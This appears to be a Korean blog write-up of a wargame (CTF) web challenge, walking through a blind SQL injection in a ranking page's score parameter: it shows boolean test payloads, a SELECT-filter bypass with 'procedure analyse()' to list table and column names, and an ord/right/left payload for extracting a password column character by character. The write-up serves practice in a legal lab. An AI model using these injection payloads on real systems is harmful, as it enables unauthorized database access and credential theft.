본문 바로가기
Wargame(CTF)

Challenge 55

by Hide­ 2014. 6. 8.
반응형

해당 주소로 들어가면 슬라임같이 생긴 것이 마우스를 따라온다.

조금 움직이다 보면 슬라임에 잡혀 GAME OVER 라는 창이 뜨게 된다.

RANK 페이지를 들어가보면 ID 와 RANK 와 SCORE 가 있다.

점수부분을 눌러보니 score 라는 변수를 통하여 값을 GET 방식으로 넘겨준다.

아마 이 부분이 인젝션 포인트인 것 같다.

먼저 참/거짓의 반응을 알아봤다.

 

score=0 and 1=1# (참, id=localhost)

score=0 and 1=2# (거짓, id 공백)

 

그다음 필터링 되는 항목들을 검사하기 위하여 여러가지 키워드들을 넣어봤다.

SELECT 가 필터링 된다.

SELECT 가 필터링 될 시 procedure analyse() 함수를 이용하면 테이블명을 알아낼 수 있다.

rank.php?score=0 procedure analyse()# 이런식으로 값을 날려보자.

 

id : oldzombie.challenge55_game.ip

 

직접 콘솔창으로 값을 날려보면 알겠지만 oldzombie는 db명이고 challenge55_game은 테이블명이고 ip는 컬럼명이다.

이를통해 ip 라는 컬럼이 있다는걸 알 수 있다.

limit 을 사용하여 나머지 컬럼도 확인해본다.

 

rank.php?score=0 limit 1,1 procedure analyse()#  - > id : oldzombie.challenge55_game.score

rank.php?score=0 limit 2,1 procedure analyse()#  - > id : oldzombie.challenge55_game.pAsSw0RdzzzZ

 

pAsSw0RdzzzZ 라는 컬럼의 값을 알아내는게 최종목표인듯하다.

substr, ascii 등이 필터링되므로

ord와 right, left 함수를 이용하여 페이로드를 작성한다.

 

0 and ord(right(left(pAsSw0RdzzzZ,1),1))>숫자#

 

Clear~

 

'Wargame(CTF)' 카테고리의 다른 글

Challenge 45  (0) 2014.06.12
Challenge 51  (0) 2014.06.10
[Suninatas] Level 28  (0) 2014.05.13
[Suninatas] Level 26  (0) 2014.05.13
[Suninatas] Level 25  (0) 2014.05.13